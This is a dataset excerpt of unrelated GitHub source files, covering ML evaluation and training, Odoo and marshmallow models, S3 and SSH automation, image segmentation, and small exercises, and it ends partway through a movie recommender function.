{"seq_id":"72002182502","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\nimport json\n\nimport tensorflow as tf\nimport numpy as np\nimport os\nimport data_helpers\nfrom multi_class_data_loader import MultiClassDataLoader\nfrom word_data_processor import WordDataProcessor\nimport csv\n\n# Parameters\n# ==================================================\n\n# Eval Parameters\ntf.flags.DEFINE_integer(\"batch_size\", 64, \"Batch Size (default: 64)\")\ntf.flags.DEFINE_string(\"checkpoint_dir\", \"\", \"Checkpoint directory from training run\")\ntf.flags.DEFINE_boolean(\"eval_train\", False, \"Evaluate on all training data\")\n\n# Misc Parameters\ntf.flags.DEFINE_boolean(\"allow_soft_placement\", True, \"Allow device soft device placement\")\ntf.flags.DEFINE_boolean(\"log_device_placement\", False, \"Log placement of ops on devices\")\n\ndata_loader = MultiClassDataLoader(tf.flags, WordDataProcessor())\ndata_loader.define_flags()\n\nFLAGS = tf.flags.FLAGS\nFLAGS._parse_flags()\noutput = open(\"data.txt\", 'w')\n\n#for attr, value in sorted(FLAGS.__flags.items()):\n    #print(\"{}={}\".format(attr.upper(), value))\n\nif FLAGS.eval_train:\n    x_raw, y_test = data_loader.load_data_and_labels()\n    y_test = np.argmax(y_test, axis=1)\nelse:\n    x_raw, y_test = data_loader.load_dev_data_and_labels()\n    y_test = np.argmax(y_test, axis=1)\n\n# checkpoint_dir이 없다면 가장 최근 dir 추출하여 셋팅\nif FLAGS.checkpoint_dir == \"\":\n    all_subdirs = [\"./runs/\" + d for d in os.listdir('./runs/.') if os.path.isdir(\"./runs/\" + d)]\n    latest_subdir = max(all_subdirs, key=os.path.getmtime)\n    FLAGS.checkpoint_dir = latest_subdir + \"/checkpoints/\"\n\n# Map data into vocabulary\nvocab_path = os.path.join(FLAGS.checkpoint_dir, \"..\", \"vocab\")\nvocab_processor = data_loader.restore_vocab_processor(vocab_path)\nx_test = np.array(list(vocab_processor.transform(x_raw)))\n\n# Evaluation\n# ==================================================\ncheckpoint_file = tf.train.latest_checkpoint(FLAGS.checkpoint_dir)\ngraph = tf.Graph()\nwith graph.as_default():\n    session_conf = tf.ConfigProto(\n      allow_soft_placement=FLAGS.allow_soft_placement,\n      log_device_placement=FLAGS.log_device_placement)\n    sess = tf.Session(config=session_conf)\n    with sess.as_default():\n        # Load the saved meta graph and restore variables\n        saver = tf.train.import_meta_graph(\"{}.meta\".format(checkpoint_file))\n        saver.restore(sess, checkpoint_file)\n\n        # Get the placeholders from the graph by name\n        input_x = graph.get_operation_by_name(\"input_x\").outputs[0]\n        # input_y = graph.get_operation_by_name(\"input_y\").outputs[0]\n        dropout_keep_prob = graph.get_operation_by_name(\"dropout_keep_prob\").outputs[0]\n\n        # Tensors we want to evaluate\n        predictions = graph.get_operation_by_name(\"output/predictions\").outputs[0]\n\n        # Generate batches for one epoch\n        batches = data_helpers.batch_iter(list(x_test), FLAGS.batch_size, 1, shuffle=False)\n\n        # Collect the predictions here\n        all_predictions = []\n\n        for x_test_batch in batches:\n            batch_predictions = sess.run(predictions, {input_x: x_test_batch, dropout_keep_prob: 1.0})\n            all_predictions = np.concatenate([all_predictions, batch_predictions])\n            print(batch_predictions)\n\n# Print accuracy if y_test is defined\nif y_test is not None:\n    correct_predictions = float(sum(all_predictions == y_test))\n\n# Save the evaluation to a csv\nclass_predictions = data_loader.class_labels(all_predictions.astype(int))\npredictions_human_readable = np.column_stack((np.array(x_raw), class_predictions))\nout_path = os.path.join(FLAGS.checkpoint_dir, \"../../../\", \"prediction.csv\")\n#print(\"{0}\".format(out_path)))\noutput.close()\nwith open(out_path, 'w') as f:\n    csv.writer(f).writerows(predictions_human_readable)\n","repo_name":"junsooo/Fake_love","sub_path":"emotionAnalysis/eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":3762,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"35"}
{"seq_id":"23705980882","text":"# -*- coding: utf-8 -*-\nfrom openerp import models, fields\n\n\nclass AccountMoveLine(models.Model):\n    _inherit = 'account.move.line'\n\n    ref_invoice_line_id = fields.Many2one(\n        'account.invoice.line',\n        string='Ref Invoice Line',\n        readonly=True,\n        help=\"Reference back to origin invoice document\",\n    )\n","repo_name":"ecosoft-odoo/pb2_addons","sub_path":"docline_ref_moveline/models/account_move_line.py","file_name":"account_move_line.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"71423441380","text":"\"\"\"Example: Creating a Job using internal API calls.\n\nAPI paths:\n* https://github.com/orchest/orchest/blob/master/services/orchest-webserver/app/app/views/views.py\n* https://github.com/orchest/orchest/blob/master/services/orchest-webserver/app/app/views/orchest_api.py\n\"\"\"\nimport sys\nfrom contextlib import contextmanager\n\nimport requests\n\n# TODO: Insert credentials.\n# Would be cleaner to use environment variables with something like:\n# https://github.com/theskumar/python-dotenv\nINSTANCE_URL = \"http://localorchest.io\"\nINSTANCE_USERNAME = \"example\"\nINSTANCE_PASSWORD = \"example\"\n\n\n@contextmanager\ndef authenticated_session(*args, **kwargs):\n    \"\"\"Gets an authenticated session by persisting the login cookie.\"\"\"\n    session = requests.Session(*args, **kwargs)\n    data = {\n        \"username\": INSTANCE_USERNAME,\n        \"password\": INSTANCE_PASSWORD,\n    }\n    resp = session.post(\n        f\"{INSTANCE_URL}/login\", timeout=4, data=data, allow_redirects=True\n    )\n    if resp.status_code != 200:\n        raise RuntimeError(\n            \"Failed to create authenticated session: Instance login failed.\"\n        )\n\n    try:\n        yield session\n    finally:\n        session.close()\n\n\ndef create_job(\n    session: requests.Session,\n    project_uuid: str,\n    pipeline_uuid: str\n) -> None:\n    # Create the Job draft.\n    url = f\"{INSTANCE_URL}/catch/api-proxy/api/jobs\"\n    post_data = {\n        \"project_uuid\": project_uuid,\n        \"pipeline_uuid\": pipeline_uuid,\n        \"pipeline_name\": \"california-housing\",\n        \"name\": \"example-job\",\n        \"draft\": True,\n        \"pipeline_run_spec\": {\"run_type\": \"full\", \"uuids\": []},\n        \"parameters\": [{}],\n        \"max_retained_pipeline_runs\": 50,\n    }\n    resp = session.post(url, json=post_data)\n    if resp.status_code != 201:\n        raise RuntimeError(\"Failed to create Job draft.\")\n\n    job_uuid = resp.json()[\"uuid\"]\n\n    # Start the Job.\n    url = f\"{INSTANCE_URL}/catch/api-proxy/api/jobs/{job_uuid}\"\n    post_data = {\n        \"confirm_draft\": True,\n        \"strategy_json\": {},\n        \"parameters\": [{}],\n        \"cron_schedule\": \"0 * * * *\"\n    }\n    resp = session.put(url, json=post_data)\n    if resp.status_code != 200:\n        raise RuntimeError(\"Failed to start Job.\")\n\n\ndef main():\n    # You can get `project_uuid` and `pipeline_uuid` from the URL when\n    # opening the respective Pipeline in the Pipeline editor.\n    # Alternatively, you can query the API to get all projects and\n    # pipelines to determine their UUIDs based on names. URLs:\n    # f\"{INSTANCE_URL}/async/projects\"\n    # f\"{INSTANCE_URL}/async/pipelines/{project_uuid}\"\n    project_uuid = \"84f49b08-11d4-4a13-9c22-11dca7e72e80\"\n    pipeline_uuid = \"0915b350-b929-4cbd-b0d4-763cac0bb69f\"\n\n    with authenticated_session() as session:\n        try:\n            create_job(\n                session=session,\n                project_uuid=project_uuid,\n                pipeline_uuid=pipeline_uuid\n            )\n        except RuntimeError:\n            print(\"Failed to create a new Job in Orchest.\")\n            sys.exit(1)\n\n        print(\"Successfully creating a new Job in Orchest.\")\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"orchest/api-examples","sub_path":"create_job.py","file_name":"create_job.py","file_ext":"py","file_size_in_byte":3161,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"71544029222","text":"#把Object对象转换成Dict对象\r\ndef convert_to_dict(obj):\r\n  dict = {}\r\n  dict.update(obj.__dict__)\r\n  return dict\r\n\r\n#把对象列表转换为字典列表\r\ndef convert_to_dicts(objs):\r\n  obj_arr = []\r\n  for o in objs:\r\n    #把Object对象转换成Dict对象\r\n    dict = {}\r\n    dict.update(o.__dict__)\r\n    obj_arr.append(dict)\r\n  return obj_arr","repo_name":"CoolYiWen/ServerForShipElcCourse","sub_path":"Tools.py","file_name":"Tools.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"15348831334","text":"#  File: Grades.py\n#  Description: This program creates a grade roster complete with\n#               homework averages, weighted at 55%, and exam averages,\n#               weighted at 45%. For each person in the class,\n#               a final, overall grade is computed and displayed on the same\n#               line with the other two scores and the last and first name\n#               of the student.\n#  Student's Name: Austin Keith Faulkner\n#  Student's UT EID: akf354\n#  Course Name: CS 303E \n#  Unique Number: 50075\n#\n#  Date Created: November 15, 2019\n#  Date Last Modified: November 22, 2019 (5:23pm)\n\n\ndef main():\n\n    NUMBER_OF_HOMEWORKS = 15\n    NUMBER_OF_EXAMS = 3\n\n    infile = open(\"gradeInput.txt\", \"r\")\n    \n    outfile = open(\"gradeOutput.txt\", \"w+\")\n    outfile.write(format(\"HW\", \">35s\") + format(\"Exam\", \">9s\") + format(\"Final\", \">8s\") + \"\\n\") \n    outfile.write(format(\"Last Name\", \"15s\") + format(\"First Name\", \">6s\") + format(\"Avg\", \">11s\") \\\n                                             + format(\"Avg\", \">7s\") + format(\"Grade\", \">9s\") + \"\\n\")\n    outfile.write(\"----------------------------------------------------\\n\")\n\n    studentData = infile.readline()\n\n    while studentData != \"\":\n        student_list = studentData.split(\" \")\n        names = student_list[0].split(\",\")\n        outfile.write(format(str(names[0]), \"15s\") + format(str(names[1]), \"<15s\"))\n        studentData = infile.readline()\n\n        homeworkSum = 0\n        for i in range(1, len(student_list) - 3):\n            homeworkSum += int(student_list[i])    \n        homeworkAverage = homeworkSum /  NUMBER_OF_HOMEWORKS\n        outfile.write(format(str(round(homeworkAverage, 1)), \">7s\"))\n\n        examSum = 0\n        for j in range(16, 19):\n            examSum += int(student_list[j])\n        examAverage = examSum / NUMBER_OF_EXAMS\n        finalGrade = 0.55 * homeworkAverage + 0.45 * examAverage\n        outfile.write(format(str(round(examAverage, 1)), \">7s\") + format(str(round(finalGrade, 1)), \">7s\") + \"\\n\")\n\n    outfile.write(\"\\n\")\n        \n    infile.close()\n    outfile.close()        \n    \nmain()\n\n","repo_name":"Austin-Faulkner/early_python_programs","sub_path":"Grades.py","file_name":"Grades.py","file_ext":"py","file_size_in_byte":2098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4334091110","text":"# -*- coding: utf-8 -*-\n\nimport marshmallow\nfrom marshmallow import fields, validate\n\nfrom . import BaseView\nfrom tuxedo_mask import models\n\n\nerror_messages = {\n    'name': {\n        'length': \"\"\"The application name must be between {min} and {max} \"\"\"\n                  \"\"\"characters in length, inclusive. You specified \"\"\"\n                  \"\"\"\"{input}\".\"\"\"\n    }\n}\n\n\nclass _ApplicationsView(marshmallow.Schema):\n\n    applications_sid = fields.String(dump_only=True)\n    name = fields.String(\n        required=True,\n        validate=[\n            validate.Length(min=1,\n                            max=32,\n                            error=error_messages['name']['length'])])\n\n\n# If ApplicationsView subclassed BaseView directly, the metadata fields\n# in the parent would be sorted above the domain fields in the child.\n# This defeats the purpose of applying that characteristic through the\n# Meta paradigm.\nclass ApplicationsView(BaseView, _ApplicationsView):\n\n    _Model = models.Applications\n\n","repo_name":"dnguyen0304/tuxedo-mask","sub_path":"tuxedo_mask/views/applications_view.py","file_name":"applications_view.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"23582558182","text":"#!/usr/bin/env python3\nimport logging\nimport sys\nimport boto3\nfrom botocore.exceptions import ClientError\nfrom botocore.exceptions import NoCredentialsError\n\n\ndef upload_to_aws(local_file, bucket, s3_file):\n    s3 = boto3.client('s3' )\n    args={}\n    if local_file.endswith('.txt'):\n        args={'ContentType': \"text/plain\"}\n\n    try:\n        s3.upload_file(local_file, bucket, s3_file,ExtraArgs=args)\n        print(\"Upload Successful\")\n        return True\n    except FileNotFoundError:\n        print(\"The file was not found\")\n        return False\n    except NoCredentialsError:\n        print(\"Credentials not available\")\n        return False\n\nlocalfile = sys.argv[1]\nbucketname = sys.argv[2]\ns3filename = sys.argv[3]\nuploaded = upload_to_aws(localfile,bucketname,s3filename)\n\n","repo_name":"mysocketio/mysocketctl-go","sub_path":"s3upload.py","file_name":"s3upload.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"35"}
{"seq_id":"38898646155","text":"p = int(input())\n\nans_1 = ''\nans_2 = ''\n\nif p > 0:\n    ans_1 = 'positive'\nelif p < 0:\n    ans_1 = 'negative'\nelse:\n    ans_1 = 'zero'\n\nif p & 1:\n    ans_2 = 'odd'\nelse:\n    ans_2 = 'even'\n\nprint(ans_1)\nprint(ans_2)\n","repo_name":"miello/com_prog","sub_path":"03_If/03_If_05.py","file_name":"03_If_05.py","file_ext":"py","file_size_in_byte":215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73445874342","text":"import os\nfrom distutils.core import setup\nfrom setuptools import find_packages\nVERSION = __import__(\"assetsblock\").__version__\nCLASSIFIERS = [\n    'Framework :: Django',\n    'Intended Audience :: Developers',\n    'License :: OSI Approved :: BSD License',\n    'Operating System :: OS Independent',\n    'Topic :: Software Development',\n]\ninstall_requires = [\n    'django>=1.6.6',\n]\n# taken from django-registration\n# Compile the list of packages available, because distutils doesn't have\n# an easy way to do this.\npackages, data_files = [], []\nroot_dir = os.path.dirname(__file__)\nif root_dir:\n    os.chdir(root_dir)\nfor dirpath, dirnames, filenames in os.walk('assetsblock'):\n    # Ignore dirnames that start with '.'\n    for i, dirname in enumerate(dirnames):\n        if dirname.startswith('.'): del dirnames[i]\n    if '__init__.py' in filenames:\n        pkg = dirpath.replace(os.path.sep, '.')\n        if os.path.altsep:\n            pkg = pkg.replace(os.path.altsep, '.')\n        packages.append(pkg)\n    elif filenames:\n        prefix = dirpath[12:] # Strip \"assetsblock/\" or \"assetsblock\\\"\n        for f in filenames:\n            data_files.append(os.path.join(prefix, f))\nsetup(\n    name=\"django-assets-block\",\n    description=\"Django application to add `assets` tag that accumulate content from all templates involved in output\",\n    version=VERSION,\n    author=\"Obshtestvo.bg\",\n    author_email=\"info@obshtestvo.bg\",\n    url=\"https://github.com/obshtestvo-utilities/django-assets-block\",\n    download_url=\"https://github.com/obshtestvo-utilities/django-assets-block/.../tgz\",\n    package_dir={'assetsblock': 'assetsblock'},\n    packages=packages,\n    package_data={'assetsblock': data_files},\n    include_package_data=True,\n    install_requires=install_requires,\n    classifiers=CLASSIFIERS,\n)","repo_name":"obshtestvo-utilities/django-assets-block","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11897755097","text":"import cv2\ndef intersected(rc1, rc2):\n    if rc1[0] > rc2[2]: return False\n    if rc1[1] > rc2[3]: return False\n    if rc2[0] > rc1[2]: return False\n    if rc2[1] > rc1[3]: return False\n    return True\ngrey_lim=200\ndef segment(grey):\n    _, thresh = cv2.threshold(grey, 200, 255, cv2.THRESH_BINARY_INV)\n    cv2.imshow('img', thresh)\n    cv2.waitKey(0)\n    #白色背景需要注释，镂空深色背景需要取反\n    # for i in range(thresh.shape[0]):\n    #     for j in range(thresh.shape[1]):\n    #         thresh[i, j] = 255 - thresh[i, j]\n    cv2.imshow('img', thresh)\n    cv2.waitKey(0)\n    _, countours, hierarchy = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n    rcs = map(cv2.boundingRect, countours)\n    rcs = [(rc[0], rc[1], rc[0] + rc[2], rc[1] + rc[3]) for rc in rcs]\n    # change the countours\n    # filter in rcs\n    rcs_med = rcs.copy()\n    max_lim=1024 * 0.8\n    min_lim=1024 * 0.001\n    for i, rc in enumerate(rcs_med):\n        print(i)\n        xlim = abs(rc[0] - rc[2])\n        ylim = abs(rc[1] - rc[3])\n        print(xlim,ylim)\n        if xlim <max_lim and ylim <max_lim and xlim>min_lim and ylim>min_lim:\n            pass\n            #del 和 remove 的区别，这里del会有bug\n        else:\n            print('del')\n            rcs.remove(rcs_med[i])\n    # clustering\n    clusters = list(range(len(rcs)))\n    # 边框两两做比较,对不具有包含关系的边框进行类别标注\n    for i, rc in enumerate(rcs):\n        for j, irc in enumerate(rcs[i + 1:]):\n            idx = i + j + 1\n            if clusters[idx] != clusters[i] and intersected(rc, irc):\n                if clusters[idx] > clusters[i]:\n                    clusters[idx] = clusters[i]\n                else:\n                    clusters[i] = clusters[idx]\n    # 定义了几类，但是都被最大的框吃掉了\n    def cluster(v):\n        indices = [i for i, x in enumerate(clusters) if x == v]\n        xmin = min(rcs[idx][0] for idx in indices)\n        ymin = min(rcs[idx][1] for idx in indices)\n        xmax = max(rcs[idx][2] for idx in indices)\n        ymax = max(rcs[idx][3] for idx in indices)\n        return xmin, ymin, xmax, ymax\n\n    rcs = list(map(cluster, set(clusters)))\n    h = int(sum((rc[3] - rc[1]) for rc in rcs)) / len(list(rcs))\n    w = thresh.shape[1]\n    #按面积进行排序\n    return sorted(rcs, key=lambda rc: int(rc[1]) / h * w + rc[0]), thresh\ndef main(path):\n    im = cv2.imread(path)\n    # segmentation\n    grey = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY,0)\n    cv2.imshow('img_reverse', grey)\n    cv2.waitKey(0)\n    rcs, thresh = segment(grey)\n    # drawing\n    draw = im.copy()\n    for i, rc in enumerate(rcs):\n        cv2.rectangle(draw, rc[0:2], rc[2:4], (0, 0, 0),3)\n        cv2.putText(draw, str(i), (rc[0], rc[3]), cv2.FONT_HERSHEY_COMPLEX, 0.5, (0, 255, 0))\n        # cv2.drawContours(draw, countours, i, (255, 0, 0))\n    cv2.imshow(path, draw)\n    cv2.imwrite(path + '_draw.jpeg', draw)\n    return thresh, rcs\n\nif __name__ == '__main__':\n    main('./image_pinganlogo/pinganjinzhou.jpeg')\n    # main('./image_pinganlogo/pingan9.jpeg')\n    cv2.waitKey(0)\n","repo_name":"xiongfeihtp/Logo","sub_path":"picture_similarity/hanzidetection.py","file_name":"hanzidetection.py","file_ext":"py","file_size_in_byte":3109,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"11121337707","text":"import logging\n\nimport torch\n\nfrom aki_chess_ai.main import ChessEnv\nfrom aki_chess_ai.ChessValueNetwork import ChessValueNetwork\nfrom aki_chess_ai.ChessPolicyNetwork import ChessPolicyNetwork\n\nfrom trainer import Trainer\nimport os\n\n\ndef main():\n    device = (\n        \"cuda\"\n        if torch.cuda.is_available()\n        else \"mps\"\n        if torch.backends.mps.is_available()\n        else \"cpu\"\n    )\n    print(f\"Using {device} device\")\n    args = {\n        \"batch_size\": 64,\n        \"iterations\": 500,  # Total number of training iterations\n        \"simulations\": 10,  # Total number of MCTS simulations to run when deciding on a move to play\n        \"episodes\": 50,  # Number of full games (episodes) to run during each iteration\n        \"epochs\": 2,  # Number of epochs of training per iteration\n        \"checkpoint_path\": \"training_models\",  # location to save latest set of weights\n        \"debug\": True\n    }\n\n    game = ChessEnv()\n    valueNetwork = ChessValueNetwork()\n    policyNetwork = ChessPolicyNetwork()\n\n    trainer = Trainer(game, value_model=valueNetwork, policy_model=policyNetwork, args=args)\n    trainer.learn()\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"DennisBaerXY/alpha-zero-style-chess","sub_path":"src/aki_chess_ai/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29700444014","text":"import time\n\nimport paramiko\n\n# 创建SSHClient 实例对象\nssh = paramiko.SSHClient()\n\n# 调用方法，表示没有存储远程机器的公钥，允许访问\nssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n\n# 连接远程机器  地址、端口、用户名密码\nssh.connect(\"192.168.21.138\",22,\"root\", \"devops\")\n\n\n# # 创建目录\ncmd = 'mkdir testdir;cd testdir;touch test.data;echo songqin >test.data;cat test.data'\n\ncmd1='mkdir testdir'\ncmd2='cd testdir'\ncmd3='touch test.data'\ncmds=[cmd1,cmd2,cmd3]\ntotal_cmd=';'.join(cmds)\nssh.exec_command(total_cmd)\nmonitor_cmd='date +%Y%m%d_%H%M%S;free'\nfor i in range(10):\n    stdin, stdout, stderr=ssh.exec_command(monitor_cmd)\n    print(stdout.read().decode())\n    print(stderr.read().decode())\n    time.sleep(3)\n\n\n# 如果命令跨行\ncmd = '''echo '1234\n5678\n90abc' > myfile\n'''\nssh.exec_command(cmd)\n\n\n# 获取命令的执行结果\ncmd = 'free'\nstdin, stdout, stderr = ssh.exec_command(cmd)\nres = stdout.read()\nerror_msg=stderr.read()\n\nprint(res.splitlines()[2])\n\nssh.close()","repo_name":"ShoneKey/pubcodebackup","sub_path":"autolinux.py","file_name":"autolinux.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21603229278","text":"from DealerStub import Dealer\n\nimport random\nimport numpy as np\nfrom keras import Sequential\nfrom collections import deque\nfrom keras.layers import Dense\nfrom keras.optimizers import Adam\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\nimport math\n\nenv = Dealer()\nnp.random.seed(0)\n\nPRINT_AMOUNT = 100  # how many times to interrupt progress bar and view loss and epsilon in real time, 0 or False just prints progress bar\n\nWEIGHTS_FILE = \"YOUR_FOLDER/YOUR_WEIGHTS\"  # You should add your own folder to save weight files\n\n\nclass DQN:\n    \"\"\" Implementation of deep q learning algorithm \"\"\"\n\n    def __init__(self, action_space, state_space, weights_filepath='', expect_partial=False):\n\n        self.action_space = action_space\n        self.state_space = state_space\n        self.epsilon = 1  # Exploration rate, randomly decide an action rather than prediction\n        self.gamma = .94  # Decay or discount rate\n        self.batch_size = 256  # some set this to 64\n        self.epsilon_min = .05 # some set this to 0.01\n        self.epsilon_decay = .99999  # Decrease the number of explorations as skill increases, .99 is typically enough unless running 750k+ episodes\n        self.learning_rate = .0005  # Determines how much the neural network learns in each iteration, typically .001\n        self.memory = deque(maxlen=100000)\n        self.model = self.build_model()\n        if weights_filepath:\n            if not expect_partial:\n                self.model.load_weights(weights_filepath)\n            else:\n                self.model.load_weights(weights_filepath).expect_partial()\n\n    def build_model(self):\n\n        model = Sequential()\n        model.add(Dense(34, input_shape=(self.state_space,), activation='relu'))\n        model.add(Dense(68, activation='relu'))\n        model.add(Dense(136, activation='relu'))\n        model.add(Dense(92, activation='relu'))\n        model.add(Dense(48, activation='relu'))\n        model.add(Dense(24, activation='relu'))\n        model.add(Dense(12, activation='relu'))\n        model.add(Dense(self.action_space, activation='linear'))\n        model.compile(loss='mse', optimizer=Adam(lr=self.learning_rate))\n        model.trainable = True\n        return model\n\n    def remember(self, state, action, reward, next_state, done):\n      \n        self.memory.append((state, action, reward, next_state, done))\n\n    def act(self, state, game_over):\n        # Action that DQN agent takes depends on if game is ongoing or not, and if agent's hand is less than 12\n        # Actions:\n        #   Ongoing round\n        #       0 : Stand\n        #       1 : Hit\n        #       2 : Double Down\n        #   Start New Round\n        #       3 : Bet Small\n        #       4 : Bet Medium\n        #       5 : Bet Large\n        \n        sr = 0 if state[0][-3] > 11 else 1                      # action 0 (stand) is only allowed if hand > 11\n        start_range = 3 if game_over else sr                    # actions can be 3 through 5 if round is complete, otherwise (0 or 1) through 2\n        stop_range = self.action_space if game_over else 3      # use ternary expressions to set start and stop range for action choice\n\n        if np.random.rand() <= self.epsilon:                    # if dice roll is higher than exploration value, return random action from range\n            return random.randrange(start_range, stop_range)\n\n        act_values = self.model.predict(state)                          # get values of actions based on state\n        act_values_allowed = act_values[0][start_range: stop_range]     # actions allowed var, only 0-2 are allowed during game, else 3-5, as described above\n        ret = np.argmax(act_values_allowed) + start_range               # get action within allowed range that has maximum expected return\n        return ret\n\n    def replay(self):\n\n        if len(self.memory) < self.batch_size:\n            return\n\n        minibatch = random.sample(self.memory, self.batch_size)\n        states = np.array([i[0] for i in minibatch])\n        actions = np.array([i[1] for i in minibatch])\n        rewards = np.array([i[2] for i in minibatch])\n        next_states = np.array([i[3] for i in minibatch])\n        dones = np.array([i[4] for i in minibatch])\n\n        states = np.squeeze(states)\n        next_states = np.squeeze(next_states)\n\n        targets = rewards + self.gamma * (np.amax(self.model.predict_on_batch(next_states), axis=1)) * (1 - dones)\n        targets_full = self.model.predict_on_batch(states)\n\n        ind = np.array([i for i in range(self.batch_size)])\n        targets_full[[ind], [actions]] = targets\n\n        self.model.fit(states, targets_full, epochs=1, verbose=0)\n        if self.epsilon > self.epsilon_min:\n            self.epsilon *= self.epsilon_decay\n\n    def save_model_to_file(self, filepath):\n      \n        self.model.save(filepath)\n\n    def save_weights_to_file(self, filepath=''):\n      \n        if not filepath:\n            return\n        self.model.save_weights(filepath)\n\n\ndef train_dqn_blackjack(episode):\n    \n    loss = []\n    \n    # Set action space as Stand + Hit + Double Down + Small  + Medium + Large bets\n    action_space = 6\n    \n    # Set state space as 13 cards (each with 0 to 12 quantities) + agent hand value (int) + agent hand soft (bool) + dealer hand (int)\n    state_space = 13 + 1 + 2 + 1\n    \n    max_steps = 12  # edge case where if agent continually hits and gets all 2s, 11 times is bust\n\n    agent = DQN(action_space, state_space, WEIGHTS_FILE)\n    \n    score = 0  # score = 0 can be moved into the main loop to reset each round, not recommended for 750k+ rounds as no trends are immediately obvious\n\n    # These track hands and epsilon values for print out at end of episodes\n    dh = []\n    ph = []\n    epsilon_list = []\n\n    for e in tqdm(range(episode), colour='green'): # TQDM prints a pretty progress bar, not needed\n        \n        state = env.reset()\n        state = np.reshape(state, (1, state_space))\n        done = env.game_over\n        \n        for i in range(max_steps):\n            \n            action = agent.act(state, done)\n            reward, next_state, done = env.step(action)\n            score += reward\n            next_state = np.reshape(next_state, (1, state_space))\n            agent.remember(state, action, reward, next_state, done)\n            state = next_state\n            agent.replay()\n\n            if done:\n                dh.append(next_state[0][-1])\n                ph.append(next_state[0][-3])\n\n                if PRINT_AMOUNT and (e % math.floor(episode / PRINT_AMOUNT) == 0):\n                    print(\"episode: {:,}/{:,}\\tscore: {:,.2f}\\tepsilon: {:.6f}\".format(e, episode, score, agent.epsilon))\n                break\n            \n        env.see_cards_hands()\n        loss.append(score)\n        epsilon_list.append(agent.epsilon)\n        \n    agent.save_weights_to_file(WEIGHTS_FILE)\n    return loss, epsilon_list, dh, ph\n","repo_name":"sampanes/Blackjack-RL","sub_path":"DQN_agent.py","file_name":"DQN_agent.py","file_ext":"py","file_size_in_byte":6880,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"70702029222","text":"# https://www.acmicpc.net/problem/4358\n\n# 이거외틇림 ..!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n# import sys\n# sys.stdin = open('test.txt', 'r')\n\ntrie = {}\ncntAll = 0\nwhile True:\n    try:\n        pointer = trie\n        for word in input():\n            if word not in pointer:\n                pointer[word] = {}\n            pointer = pointer[word]\n        else: \n            if \"cnt\" not in pointer: pointer[\"cnt\"] = 1\n            else: pointer[\"cnt\"] += 1\n            cntAll += 1\n    except EOFError:\n        break\n\n\ndef getTree(pointer, treeName):\n    if \"cnt\" in pointer:\n        print(treeName, round(pointer[\"cnt\"]/cntAll*100, 4)) #  소수점 4째자리까지 반올림해 \n        return \n    \n    for key in sorted(pointer.keys()):\n        treeName += key                 # 문자 추가해서\n        getTree(pointer[key], treeName) # 함수호출하고\n        treeName = treeName[:-1]        # 넣었던 문자 다시 빼기\n    \ngetTree(trie, \"\")\n","repo_name":"8x15yz/Algorithm-Solutions","sub_path":"2023/programers/08/boj4358.py","file_name":"boj4358.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12937921643","text":"from sklearn.metrics.pairwise import cosine_similarity\nimport pandas as pd\nfrom pprint import pprint\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\n\n\ndef get_metadata_content(movie_id, movie_data, n_best=5):\n    \"\"\"Returned the metadata of the n most close movies to the one passed as an argument according to the content features\n\n    Args:\n        movie_id (int): id of the movies we want to find the most closest results\n        movie_data (pd.DataFrame): DF preprocessed like in the eda notebook\n        n_best (int, optional):number of movies we want. Defaults to 5.\n\n    Returns:\n    dict: dictionary with n keys, corresponding to the recommended movie ID's. For each key, it contains a dictionary with all the features\n    \"\"\"\n    tfidf = TfidfVectorizer()\n    movie_data['overview'] = movie_data['overview'].fillna('')\n    overviews = movie_data['overview']\n    overviews.index = movie_data.movieId\n    tfidf_matrix = tfidf.fit_transform(overviews)\n\n    cos_sim_data = pd.DataFrame(cosine_similarity(tfidf_matrix))\n    id = movie_data[movie_data.movieId == movie_id].index[0]\n    best_ids =cos_sim_data.loc[id].sort_values(ascending=False).index.tolist()[1:n_best+1]\n    movies_recomm =  movie_data.loc[best_ids]\n    \n    reco = dict(movies_recomm)\n    metadata = {}\n    for id in movies_recomm.index:\n\n        metadata[id] = {}\n        \n        title = reco[\"title\"][id]\n        year = reco[\"movie_Year\"][id]\n        mean_rating = reco[\"mean_rating\"][id]\n        genres = []\n        for genre in 